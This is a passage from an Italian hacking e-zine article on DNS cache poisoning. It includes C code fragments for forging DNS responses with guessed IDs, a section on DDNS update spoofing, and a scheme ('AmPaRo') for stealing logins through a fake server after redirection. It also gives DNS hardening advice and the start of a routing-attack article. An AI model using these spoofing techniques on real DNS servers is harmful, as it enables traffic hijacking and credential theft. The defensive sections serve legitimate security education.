| 2) Per 10 volte da ID a diminuire vengono inviati pacchetti di response |
| a DNS_VITTIMA usando come indirizzo sorgente DNS_TRUST, e contenente |
| ad esempio: RAND_TRUST. IN A FAKE_IP2 |
| In questo modo si cerca di inserir nella cache del DNS_VITTIMA il RR |
| sopra esposto (se l'ID e' compreso nel range ID -> ID-10 ). |
| |
| /* start source example */ |
| |
| ID=loop; |
| for(;loop >= ID-10 ;loop--){ |
| dns->id = htons(loop); |
| dns->qr = 1; |
| dns->rd = 1; |
| dns->aa = 1; |
| dns->que_num = htons(1); |
| dns->rep_num = htons(1); |
| |
| i=makepaketAW(data,RAND_TRUST,FAKE_IP2,TYPE_A); |
| udp_send(sraw,DNS_TRUST,DNS_VITTIMA,53,53,buffer2,DNSHDRSIZE+i); |
| } |
| |
| /* end source example */ |
| |
| L'ID in questo tool e' rappresentato da argv[9] e puo' essere |
| omesso.Nel caso in cui fosse omesso partira' dal massimo valore che, |
| dato che il campo e' di 2byte->16bit->2^16, ammontera' a 65536. |
| Converrebbe sapere all'incirca intorno a che cifra ammonta..per |
| sveltezza, comodita' e...delicatezza |
| |
| 3) Viene quindi inviata una richiesta di risoluzione dell'hostname |
| RAND_TRUST al server vittima DNS_VITTIMA, utilizzando come indirizzo |
| sorgente l'ip dell'host dell'attacker ATTACKER (chiaro visto che la |
| richiesta viene inviata via SOCK_DGRAM e non tramite SOCK_RAW..). |
| In questo modo chiediamo a DNS_VITTIMA se RAND_TRUST ha un indirizzo |
| IP (quindi se il caching/poisoning e' stato effettuato). |
| |
| /* start source example */ |
| |
| dns_qs_no_rd(s_r,d_ip2,fakename,myrand()); |
| void dns_qs_no_rd(int s,u_long d_ip,char *wwwname,int ID) |
| { |
| struct dnshdr *dns; |
| char *data; |
| char buffer[1024]; |
| int i; |
| |
| dns = (struct dnshdr *)buffer; |
| data = (char *)(buffer+DNSHDRSIZE); |
| bzero(buffer,sizeof(buffer)); |
| |
| dns->id = htons(ID); |
| dns->qr = 0; |
| dns->rd = 0; /* dont want the recusion !! */ |
| dns->aa = 0; |
| dns->que_num = htons(1); |
| dns->rep_num = htons(0); |
| i=makepaketQS(data,wwwname,TYPE_A); |
| senddnspkt(s,d_ip,wwwname,NULL,dns); |
| } |
| |
| /* end source example */ |
| |
| Per questa richiesta non viene utilizzata la modalita' ricorsiva |
| (come precisamente indicato) bensi' la modalita' iterativa. Questo |
| in quanto se la cache di DNS_VITTIMA non dovesse contenere niente |
| a riguardo di RAND_TRUST non si vuole che il server vittima proceda |
| a chiedere da lui ancora la risoluzione a DNS_TRUST trovando |
| l'attacker impreparato a fornire risposte falsate/corrette. |
| |
| 4) A questo punto si attende una risposta da parte di DNS_VITTIMA. |
| Questa potra' avere 3 differenti caratteristiche, con 3 differenti |
| strade da intraprendere: |
| - nessuna risposta |
| - risposta arrivata ma campo data/answers vuoto |
| - risposta arrivata e campo data/answers contenente dati |
| |
| Nel caso in cui non si riceva nessuna risposta entro 3 secondi viene |
| reinviata la richiesta di risoluzione vista nel punto precedente. |
| |
| /* start source example */ |
| |
| for(timez=0;timez < TIMEOUT; timez++){ |
| if( recvfrom(s_r,buffer,sizeof(buffer),0,(struct sockaddr *) \ |
| ,) != -1 ) |
| { |
| printf("ok whe have the reponse ;)\n"); |
| timez = 0; |
| break; |
| } |
| usleep(10); |
| timez++; |
| } |
| if(timez != 0){ |
| printf("hum no reponse from the NS ressend question..\n"); |
| dns_qs_no_rd(s_r,DNS_VITTIMA,RAND_TRUST,myrand()); |
| } |
| |
| /* end source example */ |
| |
| Nel caso invece che arrivi una risposta ma con campo data/answers |
| vuoto ricominciera' il ciclo intero modificando il range di ID. |
| |
| if(sin_rcp.sin_addr.s_addr == DNS_VITTIMA ) |
| if(sin_rcp.sin_port == htons(53) ) |
| { |
| if( dns_recv->qr == 1 ) |
| if( dns_recv->rep_num == 0 ) |
| /* hum we dont have found the right ID */ |
| printf("try %i < ID < %i \n",ID-10,ID); |
| |
| Nel caso in cui invece l'attacker fosse stato fortunato, vedra' |
| comparire a video la stringa: |
| |
| "the DNS ID of DNS_VITTIMA iz ID-20 < ID < ID-10 !! |
| let's send the spoof..."
|
| |
| A questo punto vien ad apparire la funzione cool di questo capitolo: |
| |
| dnsspoof(SPOOF_TRUST,DNS_VITTIMA,SPOOFNAME,SPOOFIP,loop,TYPE); |
| |
| ovvero la funzione che completera' l'attacco di caching/poisoning. |
| La funzione provvedera' ad inviare 4 volte una richiesta di |
| risoluzione da FAKE_IP3 a DNS_VITTIMA per SPOOFNAME. |
| Quindi provvedera' per 2 volte ad inviare 80 response da SPOOF_TRUST |
| a DNS_VITTIMA con la stringa "SPOOFNAME. IN A SPOOFIP", con ID |
| incrementale a partire da ID-20. SPOOF_TRUST e' il DNS server che ha |
| autorita' sul dominio di spoofname. |
| |
| /* start source example */ |
| |
| void dnsspoof(char *dnstrust,char *victim,char *spoofname, \ |
| char *spoofip,int ID,int type) |
| { |
| [snip] |
| /* send question ... */ |
| if( type == TYPE_PTR) |
| for(loop=0;loop<4;loop++) |
| sendquestion(FAKE_IP3,DNS_VITTIMA,SPOOFIP,type); |
| |
| if( type == TYPE_A) |
| for(loop=0;loop<4;loop++) |
| sendquestion(FAKE_IP3,DNS_VITTIMA,SPOOFNAME,type); |
| |
| /* now its time to awnser Quickly !!! */ |
| for(rere = 0; rere < 2;rere++){ |
| for(loop=0;loop < 80;loop++){ |
| printf("trustip %s,vitcimip %s,spoofna %s,spoofip %s,ID %i,type \ |
| %i\n"
,DNS_TRUST,DNS_VITTIMA,SPOOFNAME,SPOOFIP,ID+loop,type); |
| sendawnser(DNS_TRUST,DNS_VITTIMA,SPOOFNAME,SPOOFIP,ID+loop,type); |
| } |
| } |
| } |
| |
| /* end source example */ |
| |
| A questo punto l'attacker si potra' ritenere fortunato.. e ad una |
| richiesta in user-space con ll fido nslookup si avra': |
| |
| [snhyper@Charlotte1:~] nslookup 31.3.3.7 ns.vittima.edu |
| Server: ns.vittima.edu |
| Address: x.x.x.1 |
| |
| Name: h4x0r.evil.com |
| Address: 31.3.3.7 |
| |
| oppure |
| |
| [snhyper@Charlotte1:~] nslookup h4x0r.evil.com ns.vittima.edu |
| Server: ns.vittima.edu |
| Address: x.x.x.1 |
| |
| Name: h4x0r.evil.com |
| Address: 31.3.3.7 |
| |
| ### SECONDO METODO ### |
| |
| Il secondo ed ultimo metodo in analisi e', come gia detto, il migliore; |
| puo' essere definito in questo modo perche' incorpora in un unico tool |
| un "DNS ID predictor" preciso ed un "DNS poisoner"..letale.. :P |
| Il requisito che pero' lo rende usato per lo piu' dagli attacker di un |
| certo livello e' la necessita' di una shell root su di un server DNS |
| autoritativo per un dominio, che di solito e' un server compromesso |
| a sua volta. La shell root e' necessaria per l'accesso alle raw socket |
| e per il binding sulle well-known ports (nel nostro caso la 53udp). |
| |
| Un tool che permette questo tipo di attacco e', ad esempio, ADMsnOOfID |
| sempre di shok degli ADM. |
| Anche questo tool della ADM crew si serve delle funzioni delle libpcap |
| ma in aggiunta permette attacco multi-interfaces dando la possibilita' |
| di specificare ppp+ o eth+. |
| |
| Anche in questo caso e' possibile analizzare l'algoritmo di attacco |
| schematizzandolo in 2 semplici passi principali: |
| |
| 1) Viene inviata una richiesta di risoluzione dell'hostname RAND_TRUST |
| al dns server vittima DNS_VITTIMA usando come indirizzo sorgente |
| FAKE_IP1.In questo modo DNS_VITTIMA iniziera' in modalita' ricorsiva |
| a cercare di risolvere il nome logico, arrivando a richiederlo a |
| DNS_TRUST. In questo caso pero' DNS_TRUST sara' l'host compromesso |
| sul quale l'attacker sfrutta una sh #. |
| |
| /* start source example */ |
| |
| sprintf(RAND_TRUST,"%d%d%d.%s",myrand(),myrand(),myrand(),DOM_TRUST) |
| dnssend->id = 2600; /* id fittizio */ |
| dnssend->qr = 0; |
| dnssend->rd = 1; |
| dnssend->aa = 0; |
| dnssend->que_num = htons(1); |
| dnssend->rep_num = htons(0); |
| i = makepaketQS(data2,RAND_TRUST,TYPE_A); |
| udp_send(sraw,FAKE_IP1,DNS_VITTIMA,2600+con,53,buffer2,DNSHDSIZE+i); |
| |
| /* end source example */ |
| |
| 2) A questo punto si attende con una pcap_next() in un ciclo di while |
| la venuta della fatidica query che dara' in pasto l'ID all'attacker. |
| Con qualke construtto di if si vaglia se il pacchetto ha protocollo |
| udp,poi se l'IP sorgente e' quello di DNS_VITTIMA e il destinatario |
| e' DNS_TRUST, se la porta di destinazione e' la 53 ed infine se il |
| campo QR e' settato a 0 (indicando che il DNS packet e' una query). |
| Nel caso in cui un ciclo dovesse saltare, si ricomincia da capo da |
| questo punto (reinizia il while). |
| Nel caso invece che il pacchetto rispetti tutte le condizioni, e che |
| quindi sia la query attesa, viene subito preso l'ID del pacchetto |
| e fatta scattare la gia' vista funzione dnsspoof() che portera' a |
| completamento l'attacco di posioning/caching. |
| |
| /* start source example */ |
| |
| if(ip->protocol == 17 ) |
| if(ip->saddr.s_addr == DNS_VITTIMA ) |
| if(ip->daddr.s_addr == DNS_TRUST )

  
|
| if(udp->dest == htons(53) ) |
| if(dnsrecv->qr == 0 ) { |
| |
| ID = dnsrecv->id ; /* preso l'ID */ |
| DA_ID = ntohs(ID); |
| |
| dnsspoof(DNS_TRUST,DNS_VITTIMA,SPOOFNAME,SPOOFIP,DA_ID,type); |
| |
| /* end source example */ |
| |
| A questo punto un semplice test con nslookup verifichera' il |
| successo dell'attacco o meno. |
| |
| }; |
| |
| -sub_G() DDNS update spoofing: { |
| |
| Da non molto tempo ha fatto comparsa il cosiddetto DDNS, ovvero il |
| Dynamic DNS, che ha subito allargato la propria zona di influenza |
| sul mercato di internet per i suoi vantaggi. |
| Il DDNS permette update di RRs, singoli o in set, dinamicamente con |
| un pacchetto di update senza mettere mano ai file di configurazione. |
| Chiaramente i portali che offrono servizi di url-redirection, |
| "third-level domain" etc.. ne hanno subito fatto uso permettendo ai |
| propri utenti registrati di fare update dinamici di propri sottodomini |
| e di mapparli sul proprio IP, che non deve necessariamente essere |
| statico. Da quando questo servizio ha preso piede si vedono infatti |
| molti personaggi che "circolano" soprattutto su irc con host del tipo: |
| 31337.h4x0r.d00d.homelinux.org e vari..,talvolta spacciando un semplice |
| update di RR in un vhost hackato.. |
| |
| In ogni caso anche il protocollo DDNS presenta dei bachi che permettono |
| un update incontrollato di RRs e RRset,minacciando ancora una volta la |
| sicurezza di quelle aziende che se ne servono per lavoro. |
| |
| Un tool che dimostra questo attacco e', ad esempio, ddns_spoofer di |
| awacs dei 3xT. Requisito per il completamento di questo tipo di attacco |
| e' la conoscenza dell'owner del RR, senza il quale risulta impossibile |
| completare un update. |
| |
| Le azioni che sono permesse via DDNS sono: |
| - Aggiunta di un RR o piu' ad un RRset |
| - Eliminazione di un RRset |
| - Eliminazione di tutti i RRset da un nome |
| - Eliminazione di un RR da un RRset |
| |
| e sono distinte dal contenuto dei campi principali nel seguente modo: |
| |
| CLASS TYPE RDATA significato |
| ------------------------------------------------------------------ |
| ANY ANY vuoto Eliminazione di tutti i RRset da un nome |
| ANY rrset vuoto Eliminazione di un RRset |
| NONE rrset rr Eliminazione di un RR da un RRset |
| zone rrset rr Aggiunta di un RR |
| |
| |
| Un update message puo' essere schematizzato nel seguente modo: |
| |
| +---------------------+ |
| | Header | |
| +---------------------+ |
| | Zone | |
| +---------------------+ |
| | Prerequisite | RRs or RRsets which must (not) preexist |
| +---------------------+ |
| | Update | RRs or RRsets to be added or deleted |
| +---------------------+ |
| | Additional Data | additional data |
| +---------------------+ |
| |
| header -> e' il classico dns header modificato per indicare la |
| tipologia di update che si sta compiendo, ed altre flags. |
| |
| zone -> specifica la zona nella quale fare l'update |
| |
| Prereq. -> RRs o RRsets che devono/non devono esistere |
| |
| Update -> RRs o RRsets da aggiungere o da eliminare |
| |
| Add.data-> dati aggiuntivi per completare l'update |
| |
| E' facile intuire come, avendo a disposizione il RRset di riferimento |
| e l'owner del RRset, non sia complicato costruire un update message |
| spoofato in modo da aggiungere o eliminare RR/RRset da un DNS database. |
| |
| Leggere il sorgente di ddns_spoofer e la rfc2136 permette di farsi una |
| idea su come non sia affatto semplice gestire un DDNS server e su come |
| sia possibile evadere anche le nuove feature di Bind > 8.x quali le |
| ACL allow-update etc.. |
| |
| }; |
| |
| |
| 0x07) Protezione server DNS |
| |
| -sub_A() Macchine posix (*nix,*BSD): { |
| |
| Gli attacchi ai server dns hanno preso successo in poco tempo e, dato |
| che non e' certo piacevole per un sysadmin vedersi fregato in questo |
| modo, vediamo di applicare poche semplici regole che permettono di |
| hardenizzare in giusto modo un server DNS, tanto da potersi ritenere |
| sicuri in questo campo. |
| |
| Il primo passo sta nel scegliere la versione da utilizzare.. questo |
| e' soggettivo. Io non utilizzerei piu' il ramo 4.x.x in quanto ormai |
| obsoleto e poco sicuro anche se ancora molto utilizzato. |
| Per chi e' del filone di quelli che pensano che "troppo nuovo == troppo |
| pericoloso"
stare sull'8.x ...se no buttarsi sulla nuova 9.x che sembra |
| molto valida (ad eccezione del bug con DoS patchabilo di cui ho parlato |
| prima). |
| |
| In seconda, usare un server dedicato e hardenizzato come Internet DNS, |
| senza relazioni trusted hosts e senza permettere login di utenti. |
| Un numero minimo di users e servizi sul server significa un minor |
| utilizzo di software che potrebbe esporre il server ad attacchi. |
| Inoltre il fatto di non essere in una rete di trusted hosts e di essere |
| in una rete separata (ad esempio in una DMZ) riduce il rischio di |
| intrusione dall'interno. |
| |
| Valutare una possibile sistemazione in ridondanza in modo tale che |
| se uno dei due server dovesse cadere sotto attacco, la rete rimarrebbe |
| comunque su e funzionante. Nel momento in cui si verificasse un crollo |
| di uno dei due Bind, una mail all'admin o un sms (piu' tempestivo, |
| fattibile con software apposito tipo gnoki) non sarebbe male..e crearsi |
| uno script che faccia cio' e' abbastanza semplice. |
| |
| Come spiegato alla voce "sub_B()" permettere i trasferimenti di zona |
| solamente agli IP autorizzati. |
| Inoltre usare le nuove feature di Bind quali TSIG, per avere una |
| Transaction SIGnature di autenticazione zone transfer. |
| |
| Avere un sistema di DNS basato su ACL. La possibilita' di settare |
| delle ACL quali allow-query, allow-transfer, allow-update viene |
| solo da Bind 8.x. |
| |
| Cercare di eliminare gli attacchi di IP spoofing settando le apposite |
| feature quali xfernets, ACL in modo intelligente. |
| Oltre a cio' e' necessario stabilire regole precise sui vari firewalls, |
| gateway,IDS,routers..etc.. |
| |
| Usare il sistema di split-brain servers. Il sistema consiste in due |
| dns server separati e tipicamente: |
| un dns al di fuori della rete e del firewall che fornira' servizio e |
| record MX al web server, dialoghera' con gli altri name server e con |
| gli altri servizi offerti dalla rete. |
| L'altro dns all'interno della rete e del firewall fornira' servizio |
| per la rete interna. |
| |
| Utilizzare DNSSec per avere complicare notevolmente qualsiasi |
| tentativo di attacco. |
| |
| Vietare, o permettere solo previo accertamento con ACL, le richieste |
| ricorsive. Per fare cio' basta inserire in named.conf la stringa: |
| recursion no; |
| |
| Far girare Bind con il minimo dei privilegi ( di solito named ) e con |
| una corretta umask. |
| |
| Far girare Bind chrootato. In questo modo diventa difficile in caso di |
| compromissione danneggiare il sistema operativo o invadere altri hosts. |
| |
| Non accettare nessuna informazione per la quale il server querato e' |
| autoritativo. |
| |
| Accettare solo la prima risposta RR di un pacchetto per fare in modo |
| di non accettare involontariamente informazioni aggiuntive falsate. |
| |
| Non mostare la versione di Bind utilizzata (BIND.VERSION in chaos). |
| Per nascondere la versione basta inserire nel file di configurazione |
| named.conf la stringa: |
| version "DNS server"; |
| |
| Monitorare i log per cercare attivita' sospette. |
| |
| Infine, importantissimo passo e spesso causa di intrusioni, stare |
| sempre aggiornati riguardo nuovi bugs e patchare sempre. |
| |
| Altre informazioni su come hardenizzare un dns server le trovate in |
| rete o nel valido paper in slide di Cricket Liu di VerySign |
| "securing_an_internet_name_server.pdf". |
| |
| }; |
| |
| -sub_B() Macchine win: { |
| |
| Per Windoze valgono anche molte delle info precedentemente esposte per |
| i sistemi posix. |
| In aggiunta: |
| |
| per WindozeNT 4.0 da SP4, un server DNS NT based puo' filtrare le |
| response non sicure. Per abilitare questa feature: |
| -avviare il Registry Editor (regedt32.exe); |
| -cercare la seguente chiave: |
| HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\DNS\Parameters |
| -Dal menu Edit, selezionare Add Value e immettere i seguenti dati: |
| Value Name : SecureResponses |
| Data Type : REG_DWORD |
| Value : 1 (Per eliminare i dati non sicuri) |
| -chiudere il Registry Editor. |
| |
| Di default questa chiave non esiste e quindi i dati insicuri non |
| sono eliminati dalle response. |
| Per info su questa feature guardare nel Microsoft Knowledge Base: |
| http://support.microsoft.com/default.aspx?scid=kb;en-us;Q198409 |
| |
| Su Windoze2000 invece e' possibile fare la stessa cosa anche via GUI: |
| -aprire il DNS Management Console cliccando su start->programs-> |
| administrative tools->DNS |
| -cliccare col destro sul nome del server nella finestra a sinistra |
| -selezionare properties |
| -scegliere la linguetta advanced |
| -chekkare la casella "Secure cache against pollution". |
| |
| }; |
| |
| |
| 0x08) Progetto AmPaRo |
| |
| Il progetto AmPaRo e' un "plug-in" di un attacco di DNS poisoning |
| caching o di DDNS update spoofing. |
| E' l'incarnazione di un fake server dinamico che permette di prendere |
| i login(user,passwd) di utenti dopo una redirezione. Vediamo come |
| puo' essere schematizzato l'intero processo: |
| |
| Processo normale: |
| |
| 1) vittima$ telnet serv.vittima.edu |
| /* Vittima richiede connessione telnet all'indirizzo SER_VITTIMA */ |
| |
| 2) Avendo usato per la connessione telnet un hostname FDQN al posto di |
| un IP address,il sistema si preoccupera' di cercar il corrispondente |
| ip address secondo le note procedure di ricerca tabellare nei DNS |
| in modalita' ricorsiva e/o iterativa come spiegato nella sezione |
| iniziale |
| |
| 3) Il sistema vedra' ritornare da DNS_VITTIMA un record del tipo: |
| |
| serv.vittima.edu. IN A x.x.x.x |
| |
| 4) Telnet iniziera' il 3way Handshake con serv.vittima.edu, scambiera' |
| le classiche richieste di option,feature e nvt compliancy (DO/DON'T- |
| WILL/WON'T),quindi si vedra' tornare il classico banner del server |
| ed il prompt di login. |
| |
| 5) La vittima effettuera' il login normalmente, fara' i suoi lavori.. |
| |
| 6) La vittima (o il server) chiudera' la connessione. |
| |
| |
| Processo AmPaRo: |
| |
| 1) vittima$ telnet serv.vittima.edu |
| /* Vittima richiede connessione telnet all'indirizzo SER_VITTIMA */ |
| |
| 2) Avendo usato per la connessione telnet un hostname FDQN al posto di |
| un IP address,il sistema si preoccupera' di cercar il corrispondente |
| ip address secondo le note procedure di ricerca tabellare nei DNS |
| in modalita' ricorsiva e/o iterativa come spiegato nella sezione |
| iniziale |
| |
| 3) Il sistema vedra' ritornare da DNS_VITTIMA un record del tipo: |
| |
| serv.vittima.edu. IN A x.x.x.5 |
| |
| 4) Telnet iniziera' il 3way Handshake con serv.vittima.edu, scambiera' |
| le classiche richieste di option, feature e nvt compliancy(DO/DON'T- |
| WILL/WON'T),quindi si vedra' tornare il classico banner del server |
| ed il prompt di login. |
| |
| 5) La vittima effettuera' il login normalmente. |
| |
| 6) Il server potrebbe rispondere con un banner indicante impossibilita' |
| temporanea di usufruire del server per qualche minuto per problemi |
| tecnici o altro (qui sovviene il campo TTL dell'header dns..) |
| |
| 7) Il server chiudera' la connessione |
| |
| Vantaggi: |
| |
| - Applicabilit? a diversi protocolli e sistemi che abbiano in comune la |
| richiesta di autenticazione non crittografata , quindi ad esempio |
| Telnet - Ftp - Pop3 - Imap etc.. nonche' routers etc.. |
| Certamente per un router la strategia cambiera' in quanto oltre alla |
| redirezione dell'host ed al fake server dinamico, dovremmo occuparci |
| di forwardare i pacchetti in ricezione ad un altro router stando |
| attenti di non creare un packets loop (anche se esistono algoritmi |
| appositi come split horizon etc.., e il campo TTL dell'header IP che |
| non consente + di tot hop a seconda dell'OS). |
| |
| |
| Svantaggi: |
| |
| - Non applicabilit? a tutti i sistemi in quanto il poisoning/spoofing |
| dei record DNS e' stato messo sotto controllo in differenti modi: |
| * Double inverse lookup, ovvero (contrassegnato da "@"): |
| |
| + server riceve connessione dall'indirizzo 192.168.5.5 (ATTACKER) |
| + server richiede una risoluzione reverse lookup per l'indirizzo: |
| |
| 5.5.168.192.in-addr.arpa. PTR ? |
| |
| + server ricever? l'hostname corrotto: |
| |
| 5.5.168.192.in-addr.arpa. PTR remote.firm.com. |
| |
| @ server rifar? una richiesta per: |
| |
| remote.firm.com. A ? |
| |
| @ server ricever? l'hostname reale: |
| |
| remote.firm.com. A 192.168.4.4 |
| |
| @ server controller? l'eguaglianza dei due ip ricevuti: |
| |
| 192.168.4.4 == 192.168.5.5 ? OK : KO |
| |
| Questo svantaggio sarebbe risolvibile non difficilmente avvelenando |
| anche il record A ( oltre al PTR) in modo da avere due risultati |
| identici anche con il double inverse lookup. |
| L'unica difficolta' e' che spesso e volentieri per sicurezza, |
| i database per il reverse lookup vengono posti su un altro server; |
| Cio' implicherebbe la compromissione anche dell'altro server, o |
| l'iniezione di una record nel campo Additional con il record voluto, |
| sperando che il server accetti e non controlli quel campo. |
| |
| - Altro problema, in questo caso di complessa soluzione, che per |
| fortuna e' quasi impossibile da bypassare, e' il possibile utilizzo |
| del DNSSec, implementazione per i pacchetti DNS del valido IPSec |
| usato spesso nelle VPN in concomitanza con IKE. |
| DNSSEC oltre a crittografare gli header dns con DES mediante uso di |
| chiave privata (algoritmo simmetrico), aggiunge diverse opzioni per |
| il controllo dei dati e rende pienamente statefull la connessione in |
| modo da avere traccia delle query e dei response. |
| |
| - In aggiunta soggiunge la patch dello SNI, creata appena dopo aver |
| scoperto la vulnerabilita' proprio da loro, che implementa una |
| randomizzazione dei query/response ID in modo da rendere molto piu' |
| complesso l'indovinare il numero di sequenza, che nelle versioni di |
| Bind piu' obsolete della 4.9.6 e 8.1.1 (anch'esse comunque |
| vulnerabili a diversi attacchi) viene facilmente predetto in quanto |
| aumenta di 1 ad ogni query. Bind 9.x comprende gia' questa patch. |
| |
| Il progetto AmPaRo coesiste con il presente testo anche senza farne |
| parte. Il tar.gz con i sorgenti e vari si trova in development e sara' |
| disponibile al piu' presto..nei migliori negozi di giocattoli.. :P |
| |
| |
| 0x09) Greetings and Byez: |
| |
| to: Raoul(Nobody),FuSyS, Nail, Tritemius, Vecna, Recidjvo, Naif, |
| Dark-Angel,xenion,(ml && devel)@sikurezza.org,#sikurezza, |
| #ondaquadra and #hackmaniaci. Bfi-Ondaquadra-Phrack e-zines. |
| W.R.Stevens, B.Kernigham and D.Ritchie and..anyone who wants. |
| |
| special dudes ( ;P ): inquis, bitflesh, sgrakkyu |
| |
| |
| 0x0A) Resources |
| |
| 1][RFC1034] Mockapetris, P., "Domain Names - Concepts and |
| Facilities"
, STD 13, RFC 1034, USC/Information Sciences |
| Institute, November 1987. |
| |
| 2][RFC1035] Mockapetris, P., "Domain Names - Implementation and |
| Specification"
, STD 13, RFC 1035, USC/Information Sciences |
| Institute, November 1987. |
| |
| 3][RFC1183] Everhart, C., Mamakos, L., Ullmann, R., and P. Mockapetris, |
| Editors, "New DNS RR Definitions", RFC 1183, Transarc, |
| University of Maryland, Prime Computer, USC/Information |
| Sciences Institute, October 1990. |
| |
| 4][RFC1706] Manning, B., and R. Colella, "DNS NSAP Resource Records", |
| RFC 1706, USC/ISI and NIST, October 1994. |
| |
| 5][RFC1712] Farrell, C., M. Schulze, B. Pleitner, and D. Baldoni, "DNS |
| Encoding of Geographical Location"
, RFC 1712, Curtin |
| University of Technology, October 1994. |
| |
| 6][RFC1995] Ohta, M., "Incremental Zone Transfer in DNS", RFC 1995, |
| Tokyo Institute of Technology, August 1996. |
| |
| 7][RFC1996] Vixie, P., "A Mechanism for Prompt Notification of Zone |
| Changes (DNS NOTIFY)"
, RFC 1996, ISC, August 1996. |
| |
| 8][RFC2052] Gulbrandsen, A., and P. Vixie, "A DNS RR for Specifying the |
| Location of Services (DNS SRV)"
, RFC 2052, Troll |
| Technologies, Vixie Enterprises, October 1996. |
| |
| 9][RFC2065] Eastlake, D., and C. Kaufman, "Domain Name System Security |
| Extensions"
, RFC 2065, CyberCash, Iris, January 1997. |
| |
| 10][RFC2136] Vixie, P., S. Thomson, Y. Rekhter, and J. Bound, "Dynamic |
| Updates in the Domain Name System (DNS UPDATE) Dynamic |
| Updates in the Domain Name System (DNS UPDATE), RFC 2136, |
| ISC, Bellcore, Cisco, DEC, April 1997. |
| |
| 11][RFC2163] Allocchio, C., "
Using the Internet DNS to Distribute MIXER |
| Conformant Global Address Mapping (MCGAM)", RFC 2163, |
| GARR-Italy, July 1977. |
| |
| 12][RFC2168] R. Danie1, M. Mealling., "
Resolution of Uniform Resource |
| Identifiers using the Domain Name System", RFC 2168, Los |
| Alamos National Laboratory, Network Solutions, Inc., |
| June 1997. |
| |
| 13][RFC2230] Atkinson,R., "
Key Exchange Delegation Record for the DNS", |
| RFC 2230, NRL, October 1997. |
| |
| 14] URL: http://www.sunworld.com/swol-11-1997/swol-11-bind.html |
| (22 July, 2000). |
| |
| 15] Network Ice Corporation. "
dig." |
| http://www.netice.com/advice/Reference/Tools/dig/default.htm |
| (22 July,2000) |
| |
| 16] Mr.DNS."
Restricting zone transfers in BIND 4.9.x with the xfernets |
| directive." URL: http://acmebw.com/askmrdns/00031.htm |
| (22 July, 2000). |
| |
| 17] Matt Larson and Cricket Liu. "
Using BIND: Don't get spoofed again: |
| Learn how to secure your Internet domain name servers." |
| June 5, 2000. |
| |
| 18] Network Ice Corporation. "
DNS Zone Transfer." |
| URL: http://www.netice.com/advice/intrusions/2000401 |
| (22 July,2000). |
| |
| 19] Spitzner, Lance. "
Know Your Enemy." 21 July 2000. |
| URL: http://www.enteract.com/~lspitz/enemy.html |
| (21 July, 2000). |
| |
| 20] Network Ice Corporation. "
Split-DNS" |
| URL:http://www.netice.com/advice/Services/Directory/DNS/ -> |
| split-DNS/default.htm |
| 22 July, 2000). |
| |
| |
| 0x0B) GPG Key |
| |
| |
| -----BEGIN PGP PUBLIC KEY BLOCK----- |
| Version: GnuPG v1.0.7 (GNU/Linux) |
| |
| mQGiBD2G/ocRBACODjOoWbKAQMlivZtL1aqMrlBxu7J38/Cn5Fj7atnfovKYQDmS |
| EsJJ1lOduWjnBhNVfORk59pVmjxRigAYcGQKSEuHmuwY+U8DFWxs/kBba5Afh02D |
| y+ZuF5smF4zlPhZN90uIgVBZjjE41dCtxsZUT+TABPpO9jaTpq5FFf+gjwCgkJvL |
| yJ1Z9peewFYiE4bsZAVNU8UD/13SNgCs0gJaQ8wmgbUO+6CPd5O+iGf9cRdH9WS3 |
| padzF7RV6SPF42UtxyhjrKYuTvrD+1BztBHLCU3IIzMkk9vQqK5FBMSwJfy46FED |
| +/EqbtcE59oOZrZog1iTNJ/xbqnRtwiMbmHEeeGwnzSwzCavIWkVRgDCipCIZWmn |
| ykIYA/sGejiym67W91uaVfFQG5Gj22tvFIf/PtmTdEJkcEjhVTu60I3EujtLg9tT |
| k58j1NEC51r0dQdpVjYr1l0jOdEUyq1gnJjAmLJrZcV+1AtFhlw9Cfzt/Md/GeJR |
| W2NcipI84sIfP0XLi0DUD/qxnhoHqRPsTON9VbSgwc3CifYZOrQgU05IWVBFUiA8 |
| c25oeXBlckBvbmRhcXVhZHJhLm9yZz6IWQQTEQIAGQUCPYb+hwQLBwMCAxUCAwMW |
| AgECHgECF4AACgkQH/9PHJrVgDKrpQCeObSXOI03S9QkJU4UtyDjZbmh74oAn2Ds |
| NevNimBAb53FrDK+LGiQbOOCuQENBD2G/owQBADw6fsNFbaBlwV/llAd/0jmUAym |
| o+tei3G9JiPRgcCO9eVJvUADsvVU+8NbfJQV3sI3AJsuUb4TEdjhwQDokrbgNGDT |
| 2vuZWsr4jJoz2TH5Lpgcdoe3q9pMzuDR5pa0EpQ7HlfePqlkAan+niqRH1+YPZYr |
| sF06ec4nL2gqJNyO0wADBgQAl9VoYKW0IIE3dIr+vdAfI1X5h1KSbHrMzHD6UZu2 |
| YgOV/DT7ULRnjxZqi2R6YNirbk5lp3xtgy0grN24hNCt7Qs3ZoSKEGOxrt6uGav2 |
| IL+YbtKdq/kGpcVMRqm3Ah9Rm1wn+KZ8nAY0FHL87VPr2els7J2kAlnNKSboVmu4 |
| CByIRgQYEQIABgUCPYb+jAAKCRAf/08cmtWAMk3qAJ4wrJyNZ8TT2K0SAymcpGAT |
| ZpH72QCbBth8Z/SpnLi/H3ZrHTfHotgJv9A= |
| =naJY |
| -----END PGP PUBLIC KEY BLOCK----- |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ HACKiNG #08 - 01/11/2002 |
| iP R0UTiNG ATTACK [eazy] 0x06/0x1A |
+--------------------------------------------------------------------------+
| |
| 1. IP Routing Principles |
| |
| 2. IP Routing Attack |
| 2.1 ICMP Redirect |
| 2.2 ICMP Router Discovery |
| 2.3 Source Ruoting |
| 2.4 DHCP Spoofing |
| 2.5 HSRP e VRRP |
| |
| 3. Risorse |
| |
| |
| |
| 1. IP Routing Principles |
| |
| Il processo che permette la consegna non garantita dei pacchetti tra |
| host appartenenti a reti differenti è conosciuto con il nome di routing |
| (o instradamento). |
| Questa funzione è quasi interamente affidata al protocollo IP il quale |
| fornisce un servizio non garantito e non finalizzato alla connessione ai |
| protocolli di livello superiore dello stack TCP/IP. |
| Per non garantito si intende che non fornisce alcuna garanzia che il |
| pacchetto giunga a destinazione, mentre per non finalizzato alla |
| connessione si intende che non memorizza alcun tipo di riferimento |
| riguardo ai datagrammi inviati e non vi è alcuna dipendenza tra di essi. |
| Ogni host che si avvalga del TCP/IP per comunicare in rete può agire |
| principalmente in due maniere: |
| |
| - host: invia e riceve pacchetti che hanno come sorgente o come |
| destinazione la propria stazione, si tratta della modalità di |
